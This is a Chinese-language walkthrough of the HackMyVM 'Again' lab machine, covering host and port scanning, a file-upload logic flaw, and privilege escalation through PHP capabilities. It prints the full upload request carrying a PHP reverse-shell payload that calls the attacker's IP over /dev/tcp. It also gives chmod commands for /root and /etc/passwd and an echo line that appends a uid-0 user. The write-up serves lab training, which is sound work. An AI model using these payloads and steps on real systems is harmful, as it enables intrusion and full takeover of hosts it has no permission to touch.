HackMyVM-Again靶机的测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

3、提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.101.127)

靶 机:Linux(192.168.101.204)

物理机:win11(192.168.101.241)

注意事项:

①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。

②靶机启动失败:设置中取消勾选usb即可

2、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录扫描)、nc(监听shell)、openssl(生成密码)

物理机:Burp suite(抓包分析)
靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。

++地址:https://hackmyvm.eu/machines/machine.php?vm=Again++

测试网址:http://192.168.101.204

二、测试目的

分析文件上传的源代码并绕过限制上传webshell,使用php Capabilities提权获得root权限。

三、操作过程

1、信息搜集

主机探测

bash 复制代码
arp-scan -l

靶机IP:192.168.101.204

物理机IP:192.168.101.241

端口和服务探测

bash 复制代码
nmap -sT -A -p- -T4 192.168.101.204

可以看到靶机开启了22端口(ssh服务)、80端口(web服务)

目录扫描

bash 复制代码
dirsearch -u http://192.168.101.204 -i 200,301 --exclude-sizes=0B

只扫到一个页面,upload

2、Getshell

访问web主页是一个上传文件的页面,upload.php是上传的文件显示的页面

查看主页面的源代码发现,提示.bck文件删除,那就是没删喽

访问upload.bck成功下载文件

该文件是upload.php的备份源代码,那么现在可以做白盒测试了

可以看到,设置了黑名单符号,有黑名单符号会直接退出代码,这样上传的文件就不会移走了

此外,源代码设置的白名单jpg和txt,只检查了jpg文件,其他文件都算作txt文件上传了,并执行cat命令查看

尝试在cat命令后面进行拼接代码执行,但由于黑名单限制过多,是失败的

利用代码检测到黑名单符号就退出代码的特性,而文件不会删除,会保留

利用这一特性写入反弹shell文件;1.php

数据包如下

POST /upload.php HTTP/1.1

Host: 192.168.101.204

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------42491598439165519721451805444

Content-Length: 300

Origin: http://192.168.101.204

Connection: keep-alive

Referer: http://192.168.101.204/

Upgrade-Insecure-Requests: 1

Priority: u=0, i

-----------------------------42491598439165519721451805444

Content-Disposition: form-data; name="myFile"; filename=";1.php"

Content-Type: image/jpeg

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.127/6666 0>&1'"); ?>

-----------------------------42491598439165519721451805444---

可以访问该文件,此时kali开启监听即可监听到反弹shell

成功获取反弹shell

3、提权

当前目录有一个id_rsa.bck文件,但没什么用

尝试寻找可利用文件

bash 复制代码
find / -perm -4000 -ls 2>/dev/null
find / -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

getcap命令可以查找文件的能力信息。

Linux 中的"能力"是一种对进程授权的机制,它允许程序在不拥有完整 root 权限的情况下执行某些特权操作。

某些程序可能被赋予了cap_fowner(修改文件所有权)或cap_net_raw(允许直接访问网络协议栈)等能力,这样它们就可以执行本来只有 root 用户才能执行的操作

可以看到php7.4可以修改文件所有权,可以利用

那么就用php来修改文件的权限,先修改user.txt的权限并查看

bash 复制代码
ls -la /home
ls -la /home/kerszi
php -r 'chmod("/home/kerszi/user.txt",0777);'

查看user.txt文件内容,得到第一个flag:

nowtheeasypart

bash 复制代码
cat /home/kerszi/user.txt

同理可以修改/root目录的权限,r00t.txt文件的权限,查看root用户的flag:

andagainandagainandagain

bash 复制代码
php -r 'chmod("/root",0777);'
ls -la /root
php -r 'chmod("/root/r00t.txt",0777);'
cat /root/r00t.txt

提权root用户也很简单,修改/etc/passwd文件的权限并给写入一个uid为0的用户即可

bash 复制代码
php -r 'chmod("/etc/passwd",0777);'

先修改权限

bash 复制代码
openssl passwd -1 root

再生成密码的加密字符串

构造新用户zz,uid为0,写入/etc/passwd

bash 复制代码
echo 'zz:$1$8YXciopU$8Z/z.3wtGbL7YHfCAy.e11:0:0:root:/root:/bin/bash' >> /etc/passwd
su zz

成功写入用户,并提权root

bash 复制代码
SHELL=/bin/bash script -q 2>/dev/null

四、结论

利用文件上传逻辑的漏洞getshell,利用Capabilities提权获取root权限。Linux中可以设置能力setcap,可以让某个文件以更高权限执行。

相关推荐
见青..9 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道11 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
世界尽头与你14 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp0000015 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你16 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000002 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全